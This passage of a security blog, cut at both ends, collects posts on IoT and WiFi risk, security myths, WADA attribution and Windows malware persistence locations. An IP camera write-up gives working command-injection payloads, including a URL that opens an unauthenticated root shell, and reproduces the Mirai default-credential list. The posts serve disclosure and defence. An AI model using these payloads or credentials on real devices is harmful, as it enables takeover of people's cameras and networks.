Pwning your device by pwning a service on your device

Just set up a firewall profile where all services are hidden from the outside. You rarely need any service accessible on your device at a hacker conference.

Conclusion

If you are still so afraid to go there, just don't go there. Watch the talks at home. But how is the hotel WiFi at a random place different from a hacker conference? Turns out, it is not much different, so you better spend time and resources on hardening your daily work devices for 365 days, instead of building a "burner device".

You probably need a "burner device" if you are a spy for a foreign government. Or you are the head of a criminal organization. Otherwise, you don't need a burner device. Maybe you need to bring a cheap replacement device.

Recovering data from an old encrypted Time Machine backup

Sat, 21 Jul 2018 13:32:30 +0000

Recovering data from a backup should be an easy thing to do. At least this is what you expect. Yesterday I had a problem which should have been easy to solve, but it was not. I hope this blog post can help others who face the same problem.

The problem

1. I had an encrypted Time Machine backup which was not used for months 2. This backup was not on an official Apple Time Capsule or on a USB HDD, but on a WD MyCloud NAS 3. I needed files from this backup 4. After running out of time I only had SSH access to the macOS, no GUI

The struggle

By default, Time Machine is one of the best and easiest backup solution I have seen. As long as you stick to the default use case, where you have one active backup disk, life is pink and happy. But this was not my case.

As always, I started to Google what shall I do. One of the first options recommended that I add the backup disk to Time Machine, and it will automagically show the backup snapshots from the old backup. Instead of this, it did not show the old snapshots but started to create a new backup. Panic button has been pressed, backup canceled, back to Google.

Why (I believe) WADA was not hacked by the Russians

Mon, 17 Oct 2016 13:35:24 +0000

Disclaimer: This is my personal opinion. I am not an expert in attribution. But as it turns out, not many people in the world are good at attribution. I know this post lacks real evidence and is mostly based on speculation.

Let’s start with the main facts we know about the WADA hack, in chronological order:

Some point in time (August - September 2016), the WADA database has been hacked and exfiltrated

2. August 15th, "WADA has alerted their stakeholders that email phishing scams are being reported in connection with WADA and therefore asks its recipients to be careful" https://m.paralympic.org/news/wada-warns-stakeholders-phishing-scams 3. September 1st, the fancybear.net domain has been registered

 Domain Name: FANCYBEAR.NET
 ...
 Updated Date: 18-sep-2016
 Creation Date: 01-sep-2016

4. The content of the WADA hack has been published on the website 5. The @FancyBears and @FancyBearsHT Twitter accounts have been created and started to tweet on 12th September, reaching out to journalists 6. 12th September, Western media started headlines "Russia hacked WADA"

7. The leaked documents have been altered, states WADA https://www.wada-ama.org/en/media/news/2016-10/cyber-security-update-wadas-incident-response

The Threatconnect analysis

The only technical analysis on why Russia was behind the hack, can be read here: https://www.threatconnect.com/blog/fancy-bear-anti-doping-agency-phishing/

After reading this, I was able to collect the following main points:

One reason why InfoSec sucked in the past 20 years - the "security tips" myth

Sat, 11 Jun 2016 13:36:22 +0000

From time to time, I get disappointed how much effort and money is put into securing computers, networks, mobile phones, ... and yet in 2016 here we are, where not much has changed on the defensive side. There are many things I personally blame for this situation, and one of them is the security tips.

The goal of these security tips is that if the average user follows these easy to remember rules, their computer will be safe. Unfortunately, by the time people integrate these rules into their daily life, these rules either become outdated, or these rules were so oversimplified that it was never true in the first place. Some of these security tips might sound ridiculous to people in InfoSec nowadays, but this is exactly what people still remember because we told them so for years.

PDF is safe to open

This is an oldie. I think this started at the time of macro viruses. Still, people think opening a PDF from an untrusted source is safer than opening a Word file. For details why this is not true, check: https://www.cvedetails.com/vulnerability-list/vendor_id-53/product_id-497/Adobe-Acrobat-Reader.html

On an unrelated note, people still believe PDF is integrity protected because the content cannot be changed (compared to a Word document).

Image stolen from Kaspersky

Java is secure

One of the best ones. Oracle started marketing Java as a safe language, where buffer overflows, format strings and pointer-based vulnerabilities are gone. Unfortunately, they forgot to tell the world that instead of "unsafe programs developed by others" they installed their unsafe program on 3 billion devices.

Stay away from rogue websites and you will be safe

This is a very common belief I hear from average people. "I only visit some trusted news sites and social media, I never visit those shady sites." I have some bad news. At the time of malvertising and infected websites, you don't have to visit those shady sites anymore to get infected.

Don't use open WiFi

I have a very long explanation of why this makes no sense, see here. Actually, the whole recommendation makes no sense as people will connect to public WiFis, no matter what we (InfoSec) recommend.

The password policy nightmare

Actually, this topic has been covered by myself in two blog posts, see here and here. Long story short: use a password manager and 2-factor authentication wherever possible. Let the password manager choose the password for you. And last but not least, corporate password policy sux.

Sites with a padlock are safe

We tell people for years that the communication with HTTPS sites are safe, and you can be sure it is HTTPS by finding a randomly changing padlock icon somewhere next to the URL. What people hear is that sites with padlocks are safe. Whatever that means. The same goes for WiFi - a network with a padlock is safe.

Use Linux, it is free from malware

For years people told to Windows users that only if they would use Linux they won't have so much malware. Thanks to Android, now everyone in the world can enjoy malware on his/her Linux machine.

OSX is free from malware

It is true that there is significantly less malware on OSX than on Windows, but this is an "economical" question rather than a "security" one. The more people use OSX, the better target it will become. Some people even believe they are safe from phishing because they are using a Mac!

Updated AV + firewall makes me 100% safe

There is no such thing as 100% safe, and unfortunately, nowadays most malware is written for PROFIT, which means it can bypass these basic protections for days (or weeks, months, years). The more proactive protection is built into the product, the better!

How to backup data

Although this is one of the most important security tips which is not followed by people, my problem here is not the backup data advise, but how we as a community failed to provide easy to use ways to do that. Now that crypto-ransomware is a real threat to every Windows (and some OSX) users, even those people who have backups on their NAS can find their backups lost. The only hope is that at least OSX has Time Machine which is not targeted yet, and the only backup solution which really works.

The worst part is that we even created NAS devices which can be infected via worms ...

Disconnect your computer from the Internet when not used

There is no need to comment on this. Whoever recommends things like that, clearly has a problem.

Use (free) VPN to protect your anonimity

First of all. There is no such thing as free service. If it is free, you are the service. On another hand, a non-free VPN can introduce new vulnerablities, and they won't protect your anonymity. It replaces one ISP with another (your VPN provider). Even TOR cannot guarantee anonymity by itself, and VPNs are much worse.

The corporate "security tips" myth

"Luckily" these toxic security tips have infected the enterprise environment as well, not just the home users.

Use robots.txt to hide secret information on public websites

It is 2016 and somehow web developers still believe in this nonsense. And this is why this is usually the first to check on a website for penetration testers or attackers.

My password policy is safer than ever

As previously discussed, passwords are bad. Very bad. And they will stick with us for decades ...

Use WAF, IDS, IPS, Nextgen APT detection hibber-gibber and you will be safe

Companies should invest more in people and less into magic blinking devices.

Instead of shipping computers with bloatware, ship computers with exploit protection software

Teach people how to use a password safe

Teach people how to use 2FA

Teach people how to use common-sense

Conclusion

Computer security is complex, hard and the risks change every year. Is this our fault? Probably. But these kinds of security tips won't help us save the world.

How I hacked my IP camera, and found this backdoor account

Sat, 26 Sep 2015 11:11:59 +0000

The time has come. I bought my second IoT device - in the form of a cheap IP camera. As it was the most affordable among all others, my expectations regarding security was low. But this camera was still able to surprise me.

Maybe I will disclose the camera model used in my hack in this blog later, but first, I will try to contact someone regarding these issues. Unfortunately, it seems a lot of different cameras have this problem because they share being developed on the same SDK. Again, my expectations are low on this.

The obvious problems

I opened the box, and I was greeted with a password of four numeric characters. This is the password for the "admin" user, which can configure the device, watch its output video, and so on. Most people don't care to change this anyway.

It is obvious that this camera can talk via Ethernet cable or WiFi. Luckily it supports WPA2, but people can configure it for open unprotected WiFi of course.

Sniffing the traffic between the camera and the desktop application it is easy to see that it talks via HTTP on port 81. The session management is pure genius. The username and password are sent in every GET request. Via HTTP. Via hopefully not open WiFi. It comes really handy in case you forgot it, but luckily the desktop app already saved the password for you in clear text in

"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

This nice camera communicates to the cloud via UDP. The destination servers are in Hong Kong - user.ipcam.hk/user.easyn.hk - and China - op2.easyn.cn/op3.easyn.cn. In case you wonder why an IP camera needs a cloud connection, it is simple. This IP camera has a mobile app for Android and iOS, and via the cloud, the users don't have to bother to configure port forwards or dynamic DNS to access the camera. Nice.

Let's run a quick nmap on this device.

PORT     STATE SERVICE    VERSION
23/tcp   open  telnet     BusyBox telnetd
81/tcp   open  http       GoAhead-Webs httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open  tcpwrapped

The already known HTTP server, a telnet server via BusyBox, and a port on 8600 (have not checked so far). The 27-page long online manual does not mention any Telnet port. How shall we name this port? A debug port? Or a backdoor port? We will see. I manually tried 3 passwords for the user root, but as those did not work, I moved on.

The double-blind command injection

The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately, it was not working at all, I got an invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems that made the exploitation harder. I call this vulnerability double-blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleep was not a real solution.

But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory:

$(ping%20-c%202%20%60pwd%60)

or cleaning up after URL decode:

$(ping -c 2 `pwd`)

but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.

The following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.

$(cp /etc/passwd /tmp/a)   ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`)           ;leak it via DNS

After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...

I also tried commix, as it looked promising on Youtube. Think commix like sqlmap, but for command injection. But this double-blind hack was a bit too much for this automated tool, unfortunately.

But after spending way too much time without progress, I finally found the password to Open Sesame.

$(echo 'root:passwd'|chpasswd)

Now, logging in via telnet

(none) login: root
Password:

BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#

Woot woot :) I quickly noticed the root of the command injection problem:

# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir  PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye

Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panic that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password.

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

Unfortunately, there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a luggage password.

Another example to exploit this vulnerability is to start the Telnet server without the need to authenticate.

http://192.168.x.x/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.x.x&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0

This vulnerability was later assigned as CVE-2017-18377.

It is time to recap what we have. There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.

With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.

Last but not least everything is running as root, which is not surprising.

My hardening list

I added these lines to the end of /system/init/ipcam.sh:

sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/ipcam.sh.

If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/ipcam.sh

iptables -A OUTPUT -p udp ! --dport 53 -j DROP

You can use OpenVPN to connect into your home network and access the web interface of the camera. It works from Android, iOS, and any desktop OS.

My TODO list

Investigate the script /system/system/bin/gmail_thread
Investigate the cloud protocol * - see update 2016 10 27
Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn

A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump.

And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.

When in the next episode of Mr. Robot, you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality.

If you are interested in generic ways to protect your home against IoT, read my previous blog post on this.

Update: as you can see in the following screenshot, the bad guys already started to take advantage of this issue ... https://www.incapsula.com/blog/cctv-ddos-botnet-back-yard.html

Update 20161006: The Mirai source code was leaked last week, and these are the worst passwords you can have in an IoT device. If your IoT device has a Telnet port open (or SSH), scan for these username/password pairs.

root xc3511
root vizxv
root admin
admin admin
root 888888
root xmhdipc
root default
root juantech
root 123456
root 54321
support support
root (none)
admin password
root root
root 12345
user user
admin (none)
root pass
admin admin1234
root 1111
admin smcadmin
admin 1111
root 666666
root password
root 1234
root klv123
Administrator admin
service service
supervisor supervisor
guest guest
guest 12345
guest 12345
admin1 password
administrator 1234
666666 666666
888888 888888
ubnt ubnt
root klv1234
root Zte521
root hi3518
root jvbzd
root anko
root zlxx.
root 7ujMko0vizxv
root 7ujMko0admin
root system
root ikwb
root dreambox
root user
root realtek
root 00000000
admin 1111111
admin 1234
admin 12345
admin 54321
admin 123456
admin 7ujMko0admin
admin 1234
admin pass
admin meinsm
tech tech
mother fucker

Update 2016 10 27: As I already mentioned this at multiple conferences, the cloud protocol is a nightmare. It is clear-text, and even if you disabled port-forward/UPNP on your router, the cloud protocol still allows anyone to connect to the camera if the attacker knows the (brute-forceable) camera ID. Although this is the user-interface only, now the attacker can use the command injection to execute code with root privileges. Or just grab the camera configuration, with WiFi, FTP, SMTP passwords included.
Youtube video : https://www.youtube.com/watch?v=18_zTjsngD8
Slides (29 - ) https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk

Update 2017-03-08: "Because of code reusing, the vulnerabilities are present in a massive list of cameras (especially the InfoLeak and the RCE),
which allow us to execute root commands against 1250+ camera models with a pre-auth vulnerability. "https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt

Update 2017-05-11: CVE-2017-5674 (see above), and my command injection exploit was combined in the Persirai botnet. 120 000 cameras are expected to be infected soon. If you still have a camera like this at home, please consider the following recommendation by Amit Serper "The only way to guarantee that an affected camera is safe from these exploits is to throw it out. Seriously."
This issue might be worse than the Mirai worm because these effects cameras and other IoT behind NAT where UPnP was enabled.
http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

How to secure your home against "Internet of Things" and FUD

Thu, 20 Aug 2015 14:06:38 +0000

TL;DR, most of the security news about IoT is full of FUD. Always put the risks in context - who can exploit this and what can the attacker do with it. Most story only covers the latter.

Introduction

There is rarely a day without news that another "Internet of Things" got hacked. "Smart" safes, "smart" rifles, "smart" cars, "smart" fridges, "smart" TVs, "smart" alarm systems, "smart" meters, "smart" bulbs, NAS devices, routers. These devices are getting hacked every day. Because most of these devices were never designed with security as a goal, and some of them have been never tested by security professionals, it is no surprise that these things are full of vulnerabilities.

Independent security researchers find these vulnerabilities, write a cool blog post or give a presentation about the vulnerability and the exploit, and the media forgets the constraints just for the sake of more clicks. "We are all doomed" we can read in the news, but sometimes the risks are buried deeply in technical jargon. Please note I blame the news sites here, not the researchers.

http://www.slideshare.net/danielmiessler/iot-attack-surfaces-defcon-2015

There are huge differences between the following risks:

Attackers can directly communicate with the router (or camera) from the Internet without authentication and exploit the vulnerability. This is the worst-case scenario. For example, an automated ransomware attack against your NAS is pretty bad.
Attackers have to position themselves in the same WAN network (e.g. Sprint mobile network in the case of Jeep hacking) to exploit the vulnerability. This is still pretty bad.
The vulnerable code can not be triggered directly from the Internet, but tricks like CSRF can be used to exploit it (details later in this post).
The vulnerable code can not be triggered directly from the Internet, and it uses a protocol/port which prevents Cross Protocol Scripting. Attackers have to access the local network before exploiting this vulnerability.

As it is the case with the worst scenario, one can find a lot of devices connected to the internet. You can always find funny stuff at http://explorer.shodanhq.com/#/explore , or use the nmap screenshot script to find your own stuff :)

Network exposure

Most devices are behind an IPv4 NAT device (e.g. home router), thus can not be reached from the Internet side by default. Except when the device configures the firewall via UPNP. Or the device has a persistence cloud connection, and the cloud can send commands to the device. Or the device uses IPv6 tunneling (e.g. Teredo), thus it is reachable from the Internet. But not every vulnerability on your home network is accessible directly from the Internet. As more and more devices and networks will support IPv6, this scenario might change, but I hope most home routers will come with a default deny configuration in their IPv6 firewall module. On the other hand, scanning for IPv6 devices blindly is not feasible due to the large number of IPv6 addresses, but some tricks might work.

If attackers can not access the device directly, there is a way to hack it through the user's browser. Just convince the victim user to visit a website, and via CSRF (Cross Site Request Forgery) and brute-forcing the device IP, it is possible to hack some devices (mostly through HTTP - if the exploit can fit into simple GET or POST commands.

If attackers can not attack the device vulnerability through the Internet directly, or via CSRF, but have connected to the same network - the network exposure shrinks significantly. And when attackers are on the same network as you, I bet you have bigger problems than the security of the IoT devices ...

Recommendations for home users

Don't buy **** you don't need

Disconnect from the power cord the IoT devices you don't need to operate 7*24.

Disable cloud connectivity if it is not necessary. For example, I have a NAS device that can be reached through the "cloud", but I have disabled it by not configuring any default gateway for the device. I prefer connecting to my network via VPN and reach all my stuff through that.

Prevent CSRF attacks. I use two tricks. Don't use the 192.168.0.x - 192.168.10.x network at-home - use an uncommon IP range instead (e.g. 192.168.156.x is better). The second trick is I configured my Adblock plugin in my primary browser to block access to my internal network. And I use another browser whenever I want to access my internal devices. Update: On Firefox you can use NoScript ABE to block access to internal resources.

Check your router configuration:

disable UPnP
check the firewall settings and disable unnecessary port forwards
check for IPv6 settings, and configure the firewall as default deny for incoming IPv6 TCP/UDP.

Change default passwords, especially for services connected to the Internet. Follow password best practices.

Run Nmap to locate new IoT in your home network :)

Run a WiFi scan to locate new WiFi access points. Let me share a personal experience with you. I moved to a new house and brought my own WiFi router with me. I plugged it in, and forget about WiFi. Months later it turned out I had two other WiFi devices in my house - the cable modem had its own integrated WiFi with default passwords printed on the bottom, and the Set-top-box was the same - default WiFi passwords printed on the bottom. And don't forget to scan for ZigBee, Bluetooth, IrDA, FM, ...

Update your devices - in case you have a lot of free time in your hand.

Don't allow your guests to connect to your home network. Set up a separated AP for them. Imagine your nephew stealing your private photos or videos from your NAS or DNLA server.

With great power, comes great responsibility. The less device you own in your house, the less time you need to maintain those.

Read the manuals of your devices. Be aware of the different interfaces. Configure it in a secure way.

Disable Teredo protocol in case you don't need IPv6.

Stop being amazed by junk hacking.

Update: Disable WebRTC: https://www.browserleaks.com/webrtc , in Chrome you can use this extension: https://chrome.google.com/webstore/detail/webrtc-network-limiter/npeicpdbkakmehahjeeohfdhnlpdklia

Update: Prevent against DNS rebind attacks via configuring a DNS server which can block internal IP addresses. OpenDNS can block internal IP, but this is not a default option, you have to configure it.

Recommendations for vendors

For vendors, I recommend at least the followings:

Implement security during Software Development LifeCycle
Continuous security testing and bug bounties
Seamless auto-update
Opt-in cloud connectivity

Recommendations for journalists

Stop FUD. Pretty please.

The questions to ask before losing your head

who can exploit the vulnerability?
what prerequisites do we have about the attack to successfully exploit the vulnerability? Is the attacker already in your home network? If yes, you have probably bigger problems.
what can the attacker do when the exploit is successful?

And last but not least, don't forget that in the case of IoT devices, sometimes users are the product, not the customer. IoT is about collecting data for marketing purposes.

http://blog.open-xchange.com/2015/02/09/iot/

Mythbusters - Is an open (unencrypted) WiFi more dangerous than a WPA2-PSK? Actually, it is not

Thu, 23 Jul 2015 13:37:15 +0000

Introduction

Whenever security professionals recommend the 5 most important IT security practices to average users, one of the items is usually something like: “Avoid using open Wifi” or “Always use VPN while using open WiFi” or “Avoid sensitive websites (e.g. online banking) while using open WiFI”, etc.

What I think about this? It is bullshit. But let’s not jump to the conclusions. Let’s analyze all risks and factors here.

During the following analysis, I made two assumptions. The first one is that we are comparing public WiFi hotspots with no encryption at all (referred to as Open), and we compare this to public WiFi hotspots with WPA2-PSK (and just hope WEP died years before). The other assumption is there are people who are security-aware, and those who just don’t care. They just want to browse the web, access Facebook, write e-mails, etc.

The risks

Let’s discuss the different threats people face using public hotspots, compared to home/work internet usage:

1. Where the website session data is not protected with SSL/TLS (and the cookie is not protected with secure flag), attackers on the same hotspot can obtain the session data and use it in session/login credentials stealing. Typical protocols affected:

HTTP sites
HTTPS sites but unsecured cookie
FTP without encryption
IMAP/SMTP/POP3 without SSL/TLS or STARTTLS

2. Attackers can inject extra data into the HTTP traffic, which can be used for exploits, or social engineer attacks (e.g. update Flash player with our malware) – see the Dark Hotel campaign

3. Attackers can use tools like SSLStrip to keep the user’s traffic on clear text HTTP and steal password/session data/personal information

4. Attackers can monitor and track user activity

5. Attackers can directly attack the user’s machine (e.g. SMB service)

WPA2-PSK security

So, why is a public WPA2-PSK WiFi safer than an open WiFi? Spoiler alert: it is not!

In a generic public WPA2-PSK scenario, all users share the same password. And guess what, the whole traffic can be decrypted with the following information: SSID + shared password + information from the 4-way handshake. https://wiki.wireshark.org/HowToDecrypt802.11

If you want to see it in action, here is a nice tutorial for you

http://www.lovemytool.com/blog/2010/05/wireshark-and-tshark-decrypt-sample-capture-file-by-joke-snelders.html

Decrypted WPA2-PSK traffic

Any user having access to the same WPA2-PSK network knows this information. So they can instantly decrypt your traffic. Or the attackers can just set up an access point with the same SSID, same password, and stronger signal. And now, the attacker can instantly launch active man-in-the-middle attacks. It is a common belief (even among ITSEC experts) that WPA2-PSK is not vulnerable to this attack. I am not sure why this vulnerability was left in the protocol, if you have the answer, let me know. Edit (2015-08-03): I think the key message here is that without server authentication (e.g. via PKI), it is not possible to solve this.

Let me link here one of my previous posts here with a great skiddie tool:

http://jumpespjump.blogspot.nl/2014/04/dsploit.html

To sum up, attackers on a WPA2-PSK network can:

Decrypt all HTTP/FTP/IMAP/SMTP/POP3 passwords or other sensitive information
Can launch active attacks like SSLStrip, or modify HTTP traffic to include exploit/social engineer attacks
Can monitor/track user activity

The only difference between open and WPA2-PSK networks is that an open network can be hacked with an attacker of the skill level of 1 from 10, while the WPA2-PSK network needs and an attacker with a skill level of 1.5. That is the difference.

The real solutions

1.Website owners, service providers should deploy proper (trusted) SSL/TLS infrastructure, protect session cookies, etc. Whenever a user (or security professional) notices a problem with the quality of the service (e.g. missing SSL/TLS), the service provider has to be notified. If no change is made, it is recommended to drop the service provider and choose a more secure one. Users have to use HTTPS Everywhere plugin.

2. Protect the device against exploits by patching the software on it, use a secure browser (Chrome, IE11 + enhanced protection), disable unnecessary plugins (Java, Flash, Silverlight), or at least use it via click-to-play. Also, the use of exploit mitigations tools (EMET, HitmanPro Alert, Malwarebytes AntiExploit) and a good internet security suite is a good idea.

3. Website owners have to deploy HSTS, and optionally include their site in an HSTS preload list

4. Don’t click blindly on fake downloads (like fake Flash Player updates)

5. The benefits of a VPN is usually overestimated. A VPN provider is just another provider, like the hotspot provider, or the ISP. They can do the same malicious stuff (traffic injecting, traffic monitoring, user tracking). Especially when people use free VPNs. And “Average Joe” will choose a free VPN. Also, VPN connections tend to be disconnected, and almost none of the VPN providers provide fail secure VPNs. Also, for the price of a good VPN service you can buy a good data plan and use 4G/3G instead of low-quality public hotspots. But besides this, on mobile OSes (Android, iOS, etc.) I strongly recommend the use of VPN, because it is not practically feasible to know for users which app is using SSL/TLS and which is not.

6. Use a location-aware firewall, and whenever the network is not trusted, set it to a Public.

7. In a small-business/home environment, buy a WiFi router with guest WiFi access possibility, where the different passwords can be set to guest networks than used for the other.

Asking the question “Are you using open WiFi?”, or “Do you do online banking on open WiFi?” are the wrong questions. The good questions are:

Do you trust the operator(s) of the network you are using?
Are the clients separated?
If clients are not separated, is it possible that there are people with malicious intent on the network?
Are you security-aware, and are you following the rules previously mentioned? If you do follow these rules, those will protect you on whatever network you are.

And call me an idiot, but I do online banking, e-shopping, and all the other sensitive stuff while I’m using open WiFi. And whenever I order pizza from an HTTP website, attackers can learn my address. Which is already in the phone book, on Facebook, and in every photo metadata I took with my smartphone about my cat and uploaded to the Internet (http://iknowwhereyourcatlives.com/).

Most articles and research publications are full of FUD about what people can learn from others. Maybe they are just outdated, maybe they are not. But it is totally safe to use Gmail on an open WiFi, no one will be able to read my e-mails.

PS: I know “Average Joe” won’t find my blog post, won’t start to read it, won’t understand half I wrote. But even if they do, they won’t patch their browser plugins, pay for a VPN, or check the session cookie. So they are doomed to fail. That’s life. Deal with it.

Many ways of malware persistence (that you were always afraid to ask)

Tue, 05 May 2015 13:39:39 +0000

TL;DR: Are you into red teaming? Need persistence? This post is not that long, read it ;)

Are you into blue teaming? Have to find those pesky backdoors? This post is not that long, read it ;)

In the previous post, I listed different ways how a Windows domain/forest can be backdoored. In this new post, I am digging a bit deeper, and list the most common/known ways malware can survive a reboot, just using local resources of the infected Windows system. The list is far from complete, and I would like to encourage everyone to comment on new methods, not yet listed here.

From an incident response point of view, one of the best strategies to find malware on a suspicious system is to search for suspicious entries that start with the system. In the good old days, you had to check for 2-3 locations to cover 99% of the infections. Nowadays, there are a thousand ways malware can start. The common ones automatically start whenever Windows starts (or the user logs in), but some tricky ones are triggered by other events.

Autoruns

My favorite choice when it comes to malware persistence is Sysinternals tools, Autoruns. In this paragraph, I mainly quote the official built-in help, but bear with me, it is still interesting.

On a side note, there are some problems with the Autoruns tool: it can only run on a live system. (EDIT: This is not true, Autoruns can analyze offline systems as well! Thanks to a comment from Justin.) And usually, this is not the case - I usually have dd images. And although VBoxManage can convert the dd images to VirtualBox disk image format, usually I don't have the time and storage to do that. This is where xmount awesomeness is here to rescue the day. It can convert dd and Encase images on-the-fly in-memory to Virtualbox format. Just attach the disk image to a new Virtualbox machine as the main boot HDD, modify the CPU/disk/controller settings until Windows starts instead of crashing, and voila, you can boot your forensic image - without modifying a single bit on the original evidence dd file. Another problem with malware analysis on a live system is that a good rootkit can fool the analyst easily.

For quick wins, I usually filter out Microsoft entries, look for per-user locations only and check for unverified (missing or invalid Authenticode) executables. This usually helps to find 90% of malware easily. Especially if it has a color like purple or pink, it is highly suspicious. To find the rest, well, one has to dig deeper.

Zeus "hiding" in the usual random directory - check the faked timestamp

To implement "poor-mans monitoring", regularly save the output of Autoruns, and during incident response, it will be highly valuable. Howto guide here.

Logon

"This entry results in scans of standard autostart locations such as the Startup folder for the current user and all users, the Run Registry keys, and standard application launch locations."

There are 42 registry keys/folders at the moment in Autoruns, which can be used to autostart a malware. The most common ways are the HKCU\Software\Microsoft\Windows\CurrentVersion\Run and the C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup folder.

One of my favorite regarding this topic is the file-less Poweliks malware, 100% pure awesomeness. Typical ring 3 code execution.

Explorer

"Select this entry to see Explorer shell extensions, browser helper objects, explorer toolbars, active setup executions, and shell execute hooks". 71 registry keys, OMG. Usually, this is not about auto-malware execution, but some of them might be a good place to hide malware.

Internet explorer

"This entry shows Browser Helper Objects (BHO's), Internet Explorer toolbars and extensions". 13 registry key here. If a malicious BHO is installed into your browser, you are pretty much screwed.

Scheduled tasks

"Task scheduler tasks configured to start at boot or logon." Not commonly used, but it is important to look at this.

I always thought this part of the autostart entries is quite boring, but nowadays, I think it is one of the best ways to hide your malware. There are so many entries here by default, and some of them can use quite good tricks to trigger the start.

Did you know that you can create custom events that trigger on Windows event logs?

Did you know you can create malware persistence just by using Windows tools like bitsadmin and Scheduled tasks?

Scheduler in the old days

Scheduler in the new days

Services

HKLM\System\CurrentControlSet\Services is a very commonplace to hide malware, especially rootkits. Check all entries with special care.

Drivers

Same as services. Very commonplace for rootkits. Unfortunately, signing a driver for 64-bit systems is not fun anymore, as it has to be signed by certificates that can be chained back to "Software Publisher Certificates". Typical startup place for Ring 0 rootkits.

Starting from Windows 10, even this will change and all drivers have to be signed by "Windows Hardware Developer Center Dashboard portal" and EV certificates.

Codecs

22 registry keys. Not very common, but possible code execution.

Boot execute

"Native images (as opposed to Windows images) that run early during the boot process."

5 registry keys here. Good place to hide a rootkit here.

Image hijacks

"Image file execution options and command prompt autostarts." 13 registry key here. I believe this was supposed for debugging purposes originally.

This is where the good-old sticky keys trick is hiding. It is a bit different from the others, as it provides a backdoor access, but you can only use this from the local network (usually). The trick is to execute your code whenever someone presses the SHIFT key multiple times before logging into RDP. The old way was to replace the sethc.exe, the new fun is to set a debug program on sethc.

If you see this, you are in trouble

AppInit

"This has Autoruns shows DLLs registered as application initialization DLLs." Only 3 registry keys here. This is the good old way to inject a malicious DLL into Explorer, browsers, etc. Luckily it is going to be deprecated soon.

Known DLLs

"This reports the location of DLLs that Windows loads into applications that reference them." Only 1 registry key. This might be used to hijack some system DLLs.

Winlogon

"Shows DLLs that register for Winlogon notification of logon events." 7 registry keys. Sometimes used by malware.

Winsock providers

"Shows registered Winsock protocols, including Winsock service providers. Malware often installs itself as a Winsock service provider because there are few tools that can remove them. Autoruns can disable them, but cannot delete them." 4 registry keys. AFAIK this was trendy a while ago. But still, a good place to hide malware.

Print monitors

"Displays DLLs that load into the print spooling service. Malware has used this support to autostart itself." 1 registry key. Some malware writers are quite creative when it comes to hiding their persistence module.

LSA providers

"Shows registers Local Security Authority (LSA) authentication, notification and security packages." 5 registry keys. A good place to hide your password stealer.

Network providers

"Missing documentation". If you have a good 1 sentence documentation, please comment.

WMI filters

"Missing documentation". Check Mandiant for details.

Sidebar gadgets

Thank god MS disabled this a while ago :)

We all miss you, you crappy resource gobble nightmares

Common ways - not in autoruns

Now, let's see other possibilities to start your malware, which won't be listed in Sysinternals Autoruns.

Backdoor an executable/DLL

